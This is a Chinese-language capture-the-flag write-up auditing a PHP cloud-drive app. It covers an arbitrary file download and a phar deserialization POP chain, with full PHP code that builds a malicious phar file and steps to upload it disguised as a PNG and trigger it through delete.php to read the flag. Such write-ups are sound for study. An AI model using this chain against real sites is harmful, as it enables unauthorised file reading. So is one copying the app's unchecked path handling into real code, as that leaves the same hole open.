Contents
  1. 1. 任意文件下载
  2. 2. 代码审计
  3. 3. 漏洞利用

涉及知识点 任意文件下载、phar反序列化、open_basedir

任意文件下载

正常来说,应该去测试注册,登陆是否有注入或者其他漏洞,然后测试上传功能是否存在上传漏洞,而我这里直接测试了下载部分

可以看到下载部分存在任意文件下载漏洞(传说中的灵感???)

我们可以据此下载初所有的文件

代码审计

下面开始审计代码

首先来看register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
session_start();
if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
}
?>
<!doctype html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <title>注册</title>
  <!-- Bootstrap core CSS -->
  <link   rel="stylesheet">
  <style>
    .bd-placeholder-img {
      font-size: 1.125rem;
      text-anchor: middle;
    }
    @media (min-width: 768px) {
      .bd-placeholder-img-lg {
        font-size: 3.5rem;
      }
    }
  </style>
  <!-- Custom styles for this template -->
  <link   rel="stylesheet">
</head>
<body >
  <form  action="register.php" method="POST">
    <h1 >注册</h1>
    <label for="username" >Username</label>
    <input type="text" name="username"  placeholder="Username" required autofocus>
    <label for="password" >Password</label>
    <input type="password" name="password"  placeholder="Password" required>
    <button  type="submit">提交</button>
    <p >&copy; 2018-2019</p>
  </form>
</body>
<div  ></div>
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
</html>
<?php
include "class.php";
if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) {
        if ($u->add_user($username, $password)) {
            echo("<script>window.location.href='login.php?register';</script>");
            die();
        } else {
            echo "<script>toast('此用户名已被使用', 'warning');</script>";
            die();
        }
    }
    echo "<script>toast('请输入有效用户名和密码', 'warning');</script>";
}
?>

前一部分的php代码进行了session的检测,如果session中的login变量被赋值,则跳转到index.php后台页面
后一部分的php代码进行了用户注册功能的实现,可以看到这里包含了class.php并且实例化了User()类,对传入的username和password进行了强制类型转换,并且对其进行了长度判断,使用了User()类的中add_user()方法进行了用户添加,在该页面看不到sql语句的拼接。

下面接着看login.php页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
session_start();
if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
}
?>
<!doctype html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <title>登录</title>
  <!-- Bootstrap core CSS -->
  <link   rel="stylesheet">
  <style>
    .bd-placeholder-img {
      font-size: 1.125rem;
      text-anchor: middle;
    }
    @media (min-width: 768px) {
      .bd-placeholder-img-lg {
        font-size: 3.5rem;
      }
    }
  </style>
  <!-- Custom styles for this template -->
  <link   rel="stylesheet">
</head>
<body >
  <form  action="login.php" method="POST">
    <h1 >登录</h1>
    <label for="username" >Username</label>
    <input type="text" name="username"  placeholder="Username" required autofocus>
    <label for="password" >Password</label>
    <input type="password" name="password"  placeholder="Password" required>
    <button  type="submit">提交</button>
    <p >还没有账号? <a  >注册</a></p>
    <p >&copy; 2018-2019</p>
  </form>
  <div  ></div>
</body>
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
</html>
<?php
include "class.php";
if (isset($_GET['register'])) {
    echo "<script>toast('注册成功', 'info');</script>";
}
if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {
        $_SESSION['login'] = true;
        $_SESSION['username'] = htmlentities($username);
        $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
        if (!is_dir($sandbox)) {
            mkdir($sandbox);
        }
        $_SESSION['sandbox'] = $sandbox;
        echo("<script>window.location.href='index.php';</script>");
        die();
    }
    echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>

在开头部分的php代码中,同样进行了session内容的检测
在结尾部分的php代码中,包含了class.php文件,检测register变量是否被赋值,如果是的话弹窗,紧接着进行了用户名和密码是否进行赋值的判断,如果被赋值则实例化class.php中的user类,用户名和密码进行了强制类型的转换
强制类型转换后,进行了用户名长度的判断,同时调用了user类中的verify_user进行了用户名密码的判断,判断条件成功后,设置session中的login参数和username参数,对username这里使用了htmlentities,进行转义
同时拼接$sanbox,这里应该是上传目录是,upload后跟对用户名拼接sftUahRiTz进行了sha1加密,紧接着使用is_dir函数,判断如果该目录不存在创建,下面设置将路径存储到session中
并且打开index.php页面,如果上面不成功的话,则返回错误。

我们接下来看index.php页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>
<head>
    <link   rel="stylesheet">
    <link   rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>
<body>
    <nav aria-label="breadcrumb">
    <ol >
        <li >管理面板</li>
        <li ><label for="fileInput" >上传文件</label></li>
        <li ><a  >你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file"  >
<div  ></div>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

上面启用了session,并且检测session中是否设置了login变量,如果没有则跳转到login.php
37~43行,包含了class.php文件,实例化了FileList类,讲session中的路径传了过去,并且调用了Name方法,和Size方法

下面我们看download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
if (!isset($_POST['filename'])) {
    die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
else {
    echo "File not exist";
}
?>

上面同样检测了session中的login是否被设置,login为登陆状态
接下来判断filename变量是否存在,如果不存在则退出当前脚本
如果存在则包含class.php文件,open_basedir设置用户访问文件的活动范围
改变当前的目录为,上传的文件的目录
接下来实例化了file类,并且对传入的文件名进行了强制类型转换
判断文件名长度必须小于40,且调用open方法返回true,并且文件名中不能含有flag字符,
如果条件成立,则下载文件。
delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

这里同样是进行了文件名长度的限制,通过File类的open方法检测文件是否存在,并返回json_encode字符串

下面来审计class.php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
    public $db;
    public function __construct() {
        global $db;
        $this->db = $db;
    }
    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }
    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }
    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }
    public function __destruct() {
        $this->db->close();
    }
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);
        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);
        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }
    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
    public function __destruct() {
        $table = '<div  ><div ><table  >';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" >' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" >Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td >' . htmlentities($value) . '</td>';
            }
            $table .= '<td  filename="' . htmlentities($filename) . '"><a   >下载</a> / <a   >删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}
class File {
    public $filename;
    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }
    public function name() {
        return basename($this->filename);
    }
    public function size() {
        $size = filesize($this->filename);
        $units = array(' B'' KB'' MB'' GB'' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }
    public function detele() {
        unlink($this->filename);
    }
    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

class.php是整站主要功能的实现,我们前面审计的其他页面均实例化调用其中的方法,前面并没有看到明显的漏洞,所以利用点很可能会存在于这个地方。

1
2
3
4
5
6
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

程序开头,定义了mysql数据库的连接信息,可以看到是root权限,利用了mysqli的方式来进行面向对象的数据库连接。
大致浏览了一遍代码,虽然是root权限,但是数据库操作使用了预编译,所以我们并不能对其进行sql注入的攻击。
接下来我们来分析User类,该类在register和login中被调用

在user类中我们并没有找到可以利用的点

接着向下看Filelist类,该类在index中被调用

在FileList类中,我们同样没有找到可以直接利用的地方
接着看最后一个的File类

File类在Download页面中被调用

我们在其close方法中找到了可以进行文件内容读取的file_get_contents函数

1
2
3
public function close() {//返回文件名内容
return file_get_contents($this->filename);
}

其读取文件内容并返回,这里可能存在利用点,我们想办法去构造利用。
在其open方法中我们发现了file_exists函数与is_dir函数,并且没有地方过滤phar协议,可以进行一个phar反序列化的利用

下面我们来分析下怎么利用,我们需要找一个可以调用File中的close方法的地方,User类中的析构方法__destruct是满足这个条件的

1
2
3
        public function __destruct() {
        $this->db->close();
    }

但是只能读取出来flag不能输出
接着向下看FileList的__call方法

1
2
3
4
5
6
        public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();//
        }
    }

这里可以用于调用$file类中的方法,并且将返回的结果存储到results数组中,
而Filelost类的__destruct方法,可以将results中的内容输出出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
        public function __destruct() {
        $table = '<div  ><div ><table  >';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" >' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" >Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td >' . htmlentities($value) . '</td>';
            }
            $table .= '<td  filename="' . htmlentities($filename) . '"><a   >下载</a> / <a   >删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }

此时当访问不存在的方法close时,可以触发call方法,从而可以调用$file类中的close方法读出flag,存储到results数组中,在FileList的实例化对象销毁时,由destruct输出flag
而调用FileList不存在的方法close,可以利用User类中的__destruct方法。

漏洞利用

这样pop利用链就形成了,我们据此构造payload生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class User {
    public $db;
    public function __construct() {
        global $db;
        $this->db = new FileList();
    }
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct() {
        $file = new File();
        $file->filename = "/flag.txt";
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}
class File {
    public $filename;
}
$o = new User();
//phar生成代码
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt""test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

里面的/flag.txt是根据经验来判断的,当没法读取目录的时候,一般来尝试/flag或者/flag.txt

由于download.php文件中在下载之前将其可以操作的路径给限定了,所有download.php文件无法读取根目录下的东西

1
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

所以我们只能利用delete.php来触发phar反序列化
将phar.phar改为phar.png上传


点击删除,抓包使用phar协议触发反序列化即可读出来flag

参考资料:

1
https://www.cnblogs.com/kevinbruce656/p/11316070.html
Contents
  1. 1. 任意文件下载
  2. 2. 代码审计
  3. 3. 漏洞利用